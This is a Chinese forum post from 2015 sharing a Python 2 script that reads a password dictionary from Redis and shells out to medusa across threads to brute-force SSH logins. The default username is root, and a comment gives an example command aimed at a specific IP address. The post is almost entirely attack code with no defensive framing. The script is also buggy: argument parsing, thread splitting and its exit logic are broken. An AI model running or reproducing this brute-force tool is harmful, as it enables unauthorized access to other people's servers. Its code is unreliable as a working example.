t434111 发表于 2015-8-5 09:11:22

python 多线程处理List

# -*- coding:UTF-8 -*-#
"""
根据Redis的密码字典,暴力破解
"""
import redis
import sys,os
import threading

BIN="/usr/local/bin/medusa"
#medusa -u root -p 123456 -h 111.207.22.72 -M ssh
def threadTask(plist,threadnum):
    for xval in plist:
      print "Thread-%s:%s" % (threadnum,xval)
      CMD=BIN+" -u "+User+' -p "'+xval+'" -h '+Host+' -M ssh'
      os.system(CMD)#开始爆破
      sys.exit(0)


if __name__=='__main__':
    global Host,User
    numThread=10 #默认10个线程
    Rkey='None'
    Host='None'
    User='root'
    if not sys.argv:
      print "Usagepython %s " % sys.argv
      print "Options are:"
      print "-n,-numberNumber of threads,default:10"
      print "-k,-keyRedis's key"
      print "-u,-usersystem's needed to crack,default:root"
      print "-h,-hostserver ip"
      sys.exit(0)
    i=1
    while (i<len(sys.argv)):
      arg=sys.argv
      if arg=='-n' or arg=='-number':
            i+=1
            numThread=sys.argv
      elif arg=='-k' or arg=='-key':
            i+=1
            Rkey=sys.argv
      elif arg=='-u' or arg=='-user':
            i+=1
            User=sys.argv
      elif arg=='-h' or arg=='-host':
            i+=1
            Host=sys.argv
      else:
            pass
      i+=1
    if Rkey=='None':
      print "Please input key value!"
      sys.exit(0)
    if Host=='None':
      print "Please input Host IP!"
      sys.exit(0)


    rds = redis.Redis(host='localhost',port=6379,db=0)
    pList=rds.lrange(Rkey,0,-1)#密码字典

    totalNum = len(pList) #密码总数量
    for threadNum in xrange(numThread):
      #每个线程处理的密码数量
      dealNum=totalNum/numThread
      #最后一个线程处理剩余部分
      leftNum=totalNum%numThread

      if threadNum!=(numThread-1):
            #实例化线程
            t=threading.Thread(target=threadTask,args=(pList,threadNum))
            t.start()#启动线程
            t.join()#等待线程结束后主进程退出
      else:
            t=threading.Thread(target=threadTask,args=(pList,threadNum))
            t.start()#启动线程
            t.join()#等待线程结束后主进程退出


页: [1]
查看完整版本: python 多线程处理List